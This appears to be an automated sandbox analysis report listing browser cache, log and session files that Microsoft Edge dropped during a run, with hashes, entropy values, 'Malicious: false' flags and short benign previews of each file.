C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:G9gcyR0Xl/ld/lxEwltt7U:G9MKuQo
MD5:	165DF50B0B4666A6CE70D39F297D5403
SHA1:	E6BD584212A9523083C4B7ACA3BF779C945C9463
SHA-256:	436FE6151AF578B659C975B2129E00CCE4613FA2C8F32C0F2876FC5FD2F68CE3
SHA-512:	62E7E69412B6292D7B04A96A92C4A748839FDB858D48289D309280F593AAD0FCF192C1118FECE3B04A43AF1643E8E402B1464FB08F0F9F8B56F5EBD93D1D001D
Malicious:	false
Preview:	@...s...oy retne.........................X....,.................w.J#./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:G9gcyR0Xl/ld/lxEwltt7U:G9MKuQo
MD5:	165DF50B0B4666A6CE70D39F297D5403
SHA1:	E6BD584212A9523083C4B7ACA3BF779C945C9463
SHA-256:	436FE6151AF578B659C975B2129E00CCE4613FA2C8F32C0F2876FC5FD2F68CE3
SHA-512:	62E7E69412B6292D7B04A96A92C4A748839FDB858D48289D309280F593AAD0FCF192C1118FECE3B04A43AF1643E8E402B1464FB08F0F9F8B56F5EBD93D1D001D
Malicious:	false
Preview:	@...s...oy retne.........................X....,.................w.J#./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF40d99.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:G9gcyR0Xl/ld/lxEwltt7U:G9MKuQo
MD5:	165DF50B0B4666A6CE70D39F297D5403
SHA1:	E6BD584212A9523083C4B7ACA3BF779C945C9463
SHA-256:	436FE6151AF578B659C975B2129E00CCE4613FA2C8F32C0F2876FC5FD2F68CE3
SHA-512:	62E7E69412B6292D7B04A96A92C4A748839FDB858D48289D309280F593AAD0FCF192C1118FECE3B04A43AF1643E8E402B1464FB08F0F9F8B56F5EBD93D1D001D
Malicious:	false
Preview:	@...s...oy retne.........................X....,.................w.J#./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6125
Entropy (8bit):	3.4020890829523136
Encrypted:	false
SSDEEP:	96:KKdfnuqApAoO+xYnWPR9FZp+I78+diQri/L1VF5SLl9iSrk+1hI6g4:NuqApLxYO9Lp+Iwqi8U/F5SLl9iSrRLA
MD5:	45203358BEA34B7A2C7F954BA3DA78BA
SHA1:	DB63D09D12AD44368F50859BB753CFE37C859D51
SHA-256:	1CE36796223D8AE907811D981E7754455FE076A23AF8977A15CBD3E918606B64
SHA-512:	B763EB4CDDDCAB8314E344B5FF984570862165AF40ECC9A1170E91548F3199232DA490A6E8962BBDF8ED7ADAB80DD0904E9770615F37E1A946F2C02C44510211
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................4..b................next-map-id.1.Cnamespace-c528307a_0cb1_4252_8dda_a9808cc6fa22-https://ntp.msn.com/.0..c.................map-0-shd_sweeper.,{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.,.p.n.p.w.e.a.t.o.d.a.y.,.s.h.s.t.r.3.c.c.n.,.p.r.g.-.s.h.-.s.h.s.t.r.3.c.a.r.,.p.r.g.-.s.h.-.s.h.s.t.r.n.c.c.n.,.s.p.-.l.a.y.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.e.d.g.e._.i.t.3.t.4.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.-.d.n.n.-.m.d.a.t.a.f.i.x._.t.t.1.,.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.4.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.7.-.t.,.1.s.-.t.p.s.n.-.d.s.t.d.c.y.7.,.1.s.-.t.p.s.n.p.1.-.d.t.d.c.,.p.r.g.-.1.s.w.-.n.o.d.l.y.s.c.l.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.1.s.w.-.p.n.o.t.i.a.,.p.r.g.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.137507171672389
Encrypted:	false
SSDEEP:	6:yBjlyq2P923oH+TcwtrQMxIFUt8hpA11Zmw+hbAjRkwO923oH+TcwtrQMFLJ:7v4YebCFUt8O1/+ZAF5LYebtJ
MD5:	C1263FFCEBECA5CCAC20CB2A22FA9A24
SHA1:	618D80ACB731E08514B5DA2A2467E25A8BA2044C
SHA-256:	2C3768E1D573A71B56F4BC1E6152E68AC1086CFD1F39AE555409EBAAE11C27E0
SHA-512:	3545A952D5D64D1116726CA2A4CFFBCC5EB36954E065F2A62B78F13B52E63D3834B674B3D105331F12CE2462AF0271A33B9FA991DFCB5401EBECA7275BBB36DF
Malicious:	false
Preview:	2024/10/28-13:43:23.590 1c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/28-13:43:23.593 1c14 Recovering log #3.2024/10/28-13:43:23.599 1c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.137507171672389
Encrypted:	false
SSDEEP:	6:yBjlyq2P923oH+TcwtrQMxIFUt8hpA11Zmw+hbAjRkwO923oH+TcwtrQMFLJ:7v4YebCFUt8O1/+ZAF5LYebtJ
MD5:	C1263FFCEBECA5CCAC20CB2A22FA9A24
SHA1:	618D80ACB731E08514B5DA2A2467E25A8BA2044C
SHA-256:	2C3768E1D573A71B56F4BC1E6152E68AC1086CFD1F39AE555409EBAAE11C27E0
SHA-512:	3545A952D5D64D1116726CA2A4CFFBCC5EB36954E065F2A62B78F13B52E63D3834B674B3D105331F12CE2462AF0271A33B9FA991DFCB5401EBECA7275BBB36DF
Malicious:	false
Preview:	2024/10/28-13:43:23.590 1c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/28-13:43:23.593 1c14 Recovering log #3.2024/10/28-13:43:23.599 1c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374611005284742

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.816836371426377
Encrypted:	false
SSDEEP:	24:3flm42UFye8psAF4unxctLp3X2amEtG1Chq/OxByjwuS4Pu3WQKkOAM4:3tL2UFwzFKLp2FEkChVy0uS4yHOp
MD5:	CE59F38082675B5FC87A1B214791B433
SHA1:	58AE32271891775577E7410D7D1E9C99D18610DA
SHA-256:	BF94BB9D0785A1F3F125EA564485706A6D4B5AAA081D8264CB3D223F6CF6E709
SHA-512:	9F59C3B507BABC3453D9306CC21F352C6709AD475792EA1CF76BE5DA75923BF5630EAF75DC6D777F7CD4300A8727E12597C760CF1D261DC65C672EDE0DA930DA
Malicious:	false
Preview:	SNSS........../............../......".../............../........../........../........../....!...../................................../.../1..,....../$...c528307a_0cb1_4252_8dda_a9808cc6fa22....../........../.....\|............/....../........................../....................5..0....../&...{98952893-68FF-4A5D-A164-705C709ED3DB}......../........../............................./............../........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......`.z..%..a.z..%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.140826659569178
Encrypted:	false
SSDEEP:	6:y10pyq2P923oH+Tcwt7Uh2ghZIFUt8h10/1Zmw+h1cglRkwO923oH+Tcwt7Uh2gd:C0pyv4YebIhHh2FUt8T09/+TvlR5LYeQ
MD5:	66056818EE4B5303DF60965C37FEF5FF
SHA1:	2ABF5301B245BF92FF0DACB6EB144DE482D03D28
SHA-256:	701020983C0A43683E732DD328817868690D2F1939320CEE9B1D038F550D1E01
SHA-512:	65F20C04DCB58E69A6C81CE79B6FF887E7079419193ACB7519AE3DE9272B7BCBC270CE51AC6D54415A66D94A762E0D12429EB44B029D279CA35C165BEDB66F04
Malicious:	false
Preview:	2024/10/28-13:43:22.848 b94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/28-13:43:22.848 b94 Recovering log #3.2024/10/28-13:43:22.849 b94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.140826659569178
Encrypted:	false
SSDEEP:	6:y10pyq2P923oH+Tcwt7Uh2ghZIFUt8h10/1Zmw+h1cglRkwO923oH+Tcwt7Uh2gd:C0pyv4YebIhHh2FUt8T09/+TvlR5LYeQ
MD5:	66056818EE4B5303DF60965C37FEF5FF
SHA1:	2ABF5301B245BF92FF0DACB6EB144DE482D03D28
SHA-256:	701020983C0A43683E732DD328817868690D2F1939320CEE9B1D038F550D1E01
SHA-512:	65F20C04DCB58E69A6C81CE79B6FF887E7079419193ACB7519AE3DE9272B7BCBC270CE51AC6D54415A66D94A762E0D12429EB44B029D279CA35C165BEDB66F04
Malicious:	false
Preview:	2024/10/28-13:43:22.848 b94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/28-13:43:22.848 b94 Recovering log #3.2024/10/28-13:43:22.849 b94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.226122792011069
Encrypted:	false
SSDEEP:	6:ySQ+q2P923oH+TcwtzjqEKj3K/2jMGIFUt8haGSdWZmw+hXQVkwO923oH+Tcwtzg:m+v4YebvqBQFUt8XAW/+iV5LYebvqBvJ
MD5:	7EEBAE0A33F6D51CF63853EF6B5D9AE1
SHA1:	F61A496FE7A7A8307DB4931DC9912BA3727CAB02
SHA-256:	ABB2122C5155E8AA134B529F643696CA2214A244F93283079B9D63068B8C129B
SHA-512:	75DD36D7055F99AB7EF57C8DEA24D45C857F6C1C34C7E30E461F3141D1CA02170F6D3FE17389BCAC1EA603EBE26ADFC5EFE44A599CD303B42036138AE180FA7E
Malicious:	false
Preview:	2024/10/28-13:43:23.654 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/28-13:43:23.656 1c3c Recovering log #3.2024/10/28-13:43:23.660 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.226122792011069
Encrypted:	false
SSDEEP:	6:ySQ+q2P923oH+TcwtzjqEKj3K/2jMGIFUt8haGSdWZmw+hXQVkwO923oH+Tcwtzg:m+v4YebvqBQFUt8XAW/+iV5LYebvqBvJ
MD5:	7EEBAE0A33F6D51CF63853EF6B5D9AE1
SHA1:	F61A496FE7A7A8307DB4931DC9912BA3727CAB02
SHA-256:	ABB2122C5155E8AA134B529F643696CA2214A244F93283079B9D63068B8C129B
SHA-512:	75DD36D7055F99AB7EF57C8DEA24D45C857F6C1C34C7E30E461F3141D1CA02170F6D3FE17389BCAC1EA603EBE26ADFC5EFE44A599CD303B42036138AE180FA7E
Malicious:	false
Preview:	2024/10/28-13:43:23.654 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/28-13:43:23.656 1c3c Recovering log #3.2024/10/28-13:43:23.660 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5e229a8e-b113-491c-872c-37e05a1efa4b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\80981d8c-6ab8-433b-99fb-d81b7dc37b85.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9038ff32-fa18-47ab-8fd2-8805f53c8ab6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF39972.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e1293c1a-a13e-4e23-813d-6231cc1bc421.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.239227333459108
Encrypted:	false
SSDEEP:	12:HvVHv4YebvqBZFUt8svcK1/+sva5LYebvqBaJ:PF4Yebvyg8wzELYebvL
MD5:	A36A934961E603B9DEA3BCFA300E6B15
SHA1:	75D099B1EB30941530CDAB7444429822A904437E
SHA-256:	5908D1F3DAD7A1EE9004205241676D3C743D1A8F977F3B649DA61ED0A3CD46B9
SHA-512:	939D36EA3CDD1E842592C170AA9E9C1B555853EB67199D712519F82413F16F8AF2C0EF46AC6D790F4FC56D144507AF5860A0137B1468DA50D2096E71620756DE
Malicious:	false
Preview:	2024/10/28-13:43:41.790 1c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/28-13:43:41.791 1c14 Recovering log #3.2024/10/28-13:43:41.796 1c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.239227333459108
Encrypted:	false
SSDEEP:	12:HvVHv4YebvqBZFUt8svcK1/+sva5LYebvqBaJ:PF4Yebvyg8wzELYebvL
MD5:	A36A934961E603B9DEA3BCFA300E6B15
SHA1:	75D099B1EB30941530CDAB7444429822A904437E
SHA-256:	5908D1F3DAD7A1EE9004205241676D3C743D1A8F977F3B649DA61ED0A3CD46B9
